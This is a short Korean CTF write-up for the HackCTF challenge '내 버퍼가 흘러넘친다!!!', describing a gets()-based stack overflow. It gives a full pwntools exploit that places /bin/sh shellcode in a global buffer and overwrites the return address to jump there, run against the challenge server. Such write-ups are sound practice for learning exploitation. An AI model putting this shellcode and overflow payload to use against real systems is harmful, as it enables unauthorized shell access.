Pwnable/Wargame

[HackCTF] 내 버퍼가 흘러넘친다!!! Write UP

건 Geon 2021. 9. 12. 06:36

먼저 i fu 로 함수목록 확인

그리고 main함수 확인

먼저 20바이트짜리 버퍼 할당하고, 0x804a060에 50바이트 받아서 넣는듯하다.

그리고 할당한 20바이트 버퍼에 gets함수로 또 입력을 받는데 이것만봐도 두번째 입력에서 bof를 이용해 ret를 덮으라는것을 알 수 있음.

그리고 ELF 정보를 확인해보니

NX bit가 활성화가 안되있다. 그럼 저 전역변수 0x804a060에 쉘코드 넣고 ret덮어서 점프하면 될것같다.

payload 작성

from pwn import *


shell = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
#r = process("prob1")
r = remote("ctf.j0n9hyun.xyz", 3003)
e = ELF("prob1")
payload = "A"*20
payload += "BBBB"
payload += p32(0x804a060)
r.send(shell)
sleep(1)
r.send(payload)
r.interactive()

이렇게 하니까

 

 

쉘이 따지고 flag를 찾았는데 이번에도 저번에 풀었던 어떤 다른문제처럼 로컬에서는 안되고 remote에서는 된다.

 

vmmap으로 권한을 확인해보니 쉘코드를 넣은 0x804a060에는 실행권한이없다. 이것때문인것같은데 왜 다운받은 파일에는 없고 원격서버에는 있는지 모르겠음.